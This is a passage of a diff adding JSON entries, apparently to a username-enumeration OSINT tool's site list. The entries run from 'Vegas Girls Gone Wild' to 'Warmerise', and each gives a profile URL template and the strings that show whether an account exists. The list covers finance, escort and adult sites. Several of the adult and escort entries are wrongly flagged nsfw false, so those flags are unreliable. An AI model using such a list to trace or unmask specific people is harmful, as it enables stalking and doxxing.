"nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vegas Girls Gone Wild (Las Vegas, NV)", + "url": "https://vegasgirlsgonewild.com/escort/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "Vegas Girls Gone Wild" + }, + { + "name": "VegasCreativeSoftware", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "VEGAS Community" + }, + { + "name": "Velocat", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Velog", + "url": "https://velog.io/@{}/posts", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Velomania", + "url": "https://forum.velomania.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Velomania", + "url": "https://forum.velomania.ru/member.php?username={}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Velosamara", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "velozone.ucoz.ua", + "url": "http://velozone.ucoz.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Venera", + "url": "https://venera.one/search/?q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Venmo", + "url": "https://venmo.com/{}", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Venmo", + "url": "https://account.venmo.com/u/{}", + "category": "finance", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Venmo | Page Not Found" + }, + { + "name": "Vent", + "url": "https://vent.co/u/{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "current-emotion" + }, + { + "name": "vento-club.com", + "url": "http://vento-club.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Verifiedhandles", + "url": "https://verifiedhandles.com/vhid/VHID/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Vero", + "url": "https://vero.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Error Page - VERO\u2122 \u2013 True Social" + }, + { + "name": "Vezha", + "url": "https://vezha.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + }, + { + "name": "vfarte.ru", + "url": "http://vfarte.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vgmpf", + "url": "https://vgmpf.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "vgorah.ucoz.ru", + "url": "http://vgorah.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vgr", + "url": "https://vgr.com/forum/profile/{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "The page you requested", + "match_string": "ProfileStats" + }, + { + "name": "Vgtimes", + "url": "https://vgtimes.ru/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d", + "match_string": "user_profile" + }, + { + "name": "Vgtimes", + "url": "https://vgtimes.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Vgtimes/Games", + "url": "https://vgtimes.ru/games/{}/forum/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vibilagare", + "url": "https://www.vibilagare.se/users/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sidan hittades inte |", + "match_code": 200, + "match_string": "Profil p\u00e5 vibilagare.se" + }, + { + "name": "Vidamora", + "url": "https://vidamora.com/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "currentusername" + }, + { + "name": "vidamora.com", + "url": "https://www.vidamora.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Viddler", + "url": "https://www.viddler.com/channel/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found", + "match_string": "profile-details" + }, + { + "name": "videhelp-comp.my1.ru", + "url": "http://videhelp-comp.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Video-Game-Music-Covers", + "url": "https://video-game-music-covers.wikia.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Video_ploud", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "videoforums.ru", + "url": "http://videoforums.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VideogameGeek", + "url": "https://videogamegeek.com/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist" + }, + { + "name": "Videogamer", + "url": "https://videogamer.com/forums/index.php?/profile/{}/", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "ProfilePhoto" + }, + { + "name": "videohive.net", + "url": "https://videohive.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found | VideoHive", + "match_string": "user-info" + }, + { + "name": "videomuzon.ucoz.ru", + "url": "http://videomuzon.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Videosift", + "url": "https://videosift.com/member/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "viewbug", + "url": "https://www.viewbug.com/member/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "missing-photos", + "match_string": "profile" + }, + { + "name": "vii.at.ua", + "url": "http://vii.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vilinburg.net", + "url": "http://vilinburg.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vim", + "url": "https://vim.wikia.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Vimeo", + "url": "https://vimeo.com/{}", + "category": "video", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vimgolf", + "url": "http://www.vimgolf.com/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "vinbazar.at.ua", + "url": "http://vinbazar.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vine", + "url": "https://vine.co/api/users/profiles/vanity/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "That record does not exist", + "match_string": "userId" + }, + { + "name": "vingle.net", + "url": "https://vingle.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vintage-mustang.com", + "url": "https://vintage-mustang.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VIP-blog", + "url": "http://{}.vip-blog.com", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Blog inexistant", + "match_code": 200, + "match_string": "blog : " + }, + { + "name": "vip-cccp.clan.su", + "url": "http://vip-cccp.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vip-icq.ucoz.net", + "url": "http://vip-icq.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Virgool", + "url": "https://virgool.io/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "error_string": "\u06f4\u06f0\u06f4" + }, + { + "name": "Virtual Taboo", + "url": "https://virtualtaboo.com/pornstars/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "

    404: Page not found

    ", + "match_string": "Birthday:" + }, + { + "name": "virtual-auto.ucoz.ru", + "url": "http://virtual-auto.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VirtualIreland", + "url": "https://www.virtualireland.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "virtualrift.ru", + "url": "http://virtualrift.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VirusTotal", + "url": "https://www.virustotal.com/ui/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "not found" + }, + { + "name": "VirusTotal", + "url": "https://www.virustotal.com/gui/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Virustotal", + "url": "https://virustotal.com/ui/users/{}/trusted_users", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "virustotal", + "url": "https://www.virustotal.com/ui/users/{}/avatar", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "vishivalochka.ru", + "url": "http://vishivalochka.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "visnesscard", + "url": "https://my.visnesscard.com/Home/GetCard/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "card_id\": 0", + "match_code": 200, + "match_string": "end_point" + }, + { + "name": "VitalFootball", + "url": "https://forums.vitalfootball.co.uk/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "viupetra.3dn.ru", + "url": "http://viupetra.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vivasan.mobi", + "url": "http://vivasan.mobi/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vivino", + "url": "https://www.vivino.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vizjer.pl", + "url": "https://vizjer.pl/uzytkownik/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Ostatnie komentarze", + "match_string": "Profil u\u017cytkownika" + }, + { + "name": "Vjudge", + "url": "https://VJudge.net/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VK", + "url": "https://vk.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "VK (by id)", + "url": "https://vk.com/id{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Vkaline", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "VKFaces", + "url": "https://vkfaces.com/vk/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vkl.world (Mastodon Instance)", + "url": "https://vkl.world/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "VKMOnline", + "url": "http://forums.vkmonline.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vkrugudrusey", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "VKruguDruzei", + "url": "http://{}.vkrugudruzei.ru/x/blog/all/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "vkusnyashkino.ru", + "url": "http://vkusnyashkino.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vl-dimir.ru", + "url": "http://vl-dimir.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vlab", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Vladimirka", + "url": "http://www.vladimirka.ru/board/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vladmama", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Vlmi", + "url": "https://vlmi.biz/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vlmi", + "url": "https://vlmi.biz/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043f\u0441! \u041c\u044b \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438. | VLMI \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c, \u043e\u0431\u043c\u0435\u043d \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439" + }, + { + "name": "VLR", + "url": "https://www.vlr.gg/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vmst.io (Mastodon Instance)", + "url": "https://vmst.io/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Voice", + "url": "https://voice.com/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "voice-meta.jpg", + "match_string": "\"noindex\"" + }, + { + "name": "Voice123", + "url": "https://voice123.com/api/providers/search/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">[]", + "match_string": "user_id" + }, + { + "name": "Voices", + "url": "https://www.voices.com/actors/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Voices", + "url": "https://voices.com/profile/{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-info" + }, + { + "name": "Voices.com", + "url": "https://www.voices.com/profile/{}/", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "error_string": "Try going back to the previous page or see below for more options", + "match_code": 200, + "match_string": "Last Online" + }, + { + "name": "Voicesevas", + "url": "http://voicesevas.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Volga-gaz", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Volgograd Forum", + "url": "https://www.forum-volgograd.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Volgogradru", + "url": "http://www.volgogradru.com/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + }, + { + "name": "Volkodavcaoko", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Volkswagen", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "volkswagen.lviv.ua", + "url": "http://volkswagen.lviv.ua/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Volleybox", + "url": "https://volleybox.net/ru/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Votetags", + "url": "https://www.votetags.info/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": " looking for. Perhaps searching can help." + }, + { + "name": "vovdm.at.ua", + "url": "http://vovdm.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Voyager", + "url": "https://voyager.lemmy.ml/u/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "VR PORN", + "url": "https://vrporn.com/pornstars/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "We're sorry, but this page wasn't found.

    ", + "match_string": ">Follow" + }, + { + "name": "vracing.3dn.ru", + "url": "http://vracing.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vrn-sms.ru", + "url": "http://vrn-sms.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VSCO", + "url": "https://vsco.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vsco", + "url": "https://vsco.co/{}/gallery", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"site_not_found\"}", + "match_code": 200, + "match_string": "permaSubdomain" + }, + { + "name": "Vse", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "vse-o-zaz.at.ua", + "url": "http://vse-o-zaz.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vse1.ucoz.com", + "url": "http://vse1.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vsemayki", + "url": "https://www.vsemayki.ru/designer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 Not Found" + }, + { + "name": "vsemobile.my1.ru", + "url": "http://vsemobile.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vseotkritki.ru", + "url": "http://vseotkritki.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vulengate", + "url": "https://www.vulengate.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Vulgo_rolka", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Vxzone", + "url": "https://www.vxzone.com/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Vyshyvanka", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430 \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Vzvd", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W", + "url": "https://w.atwiki.jp/{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "atwiki-list" + }, + { + "name": "w2l-g.ucoz.org", + "url": "http://w2l-g.ucoz.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W3challs", + "url": "https://w3challs.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 Page not found \u2013 W3Challs Hacking Challenges" + }, + { + "name": "W3Schools", + "url": "https://pathfinder-api.kai.w3spaces.com/public-profile-api/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W3schools", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "problem" + }, + { + "name": "W7forums", + "url": "https://www.w7forums.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W7forums", + "url": "https://www.w7forums.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Wackypedia", + "url": "https://wackypedia.risteq.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wakatime", + "url": "https://wakatime.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wakeup.ucoz.com", + "url": "http://wakeup.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wallpost.ucoz.ru", + "url": "http://wallpost.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wanelo", + "url": "https://wanelo.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wankz VR", + "url": "https://www.wankzvr.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Oops 404, we couldn't find the page you're looking for", + "match_string": ">Birthplace:
    " + }, + { + "name": "Warcraft3ft", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "warcraft3ft.clan.su", + "url": "http://warcraft3ft.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "warez-pirati.ucoz.ru", + "url": "http://warez-pirati.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warface", + "url": "https://wf.mail.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warframe Market", + "url": "https://warframe.market/profile/{}", + "category": "shopping", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "warframe.3dn.ru", + "url": "http://warframe.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warhammercommunity", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Warhammergames", + "url": "https://warhammergames.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warmerise", + "url": "https://warmerise.com/profile/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

    Page Not Found", + "match_code": 200, + "match_string": "
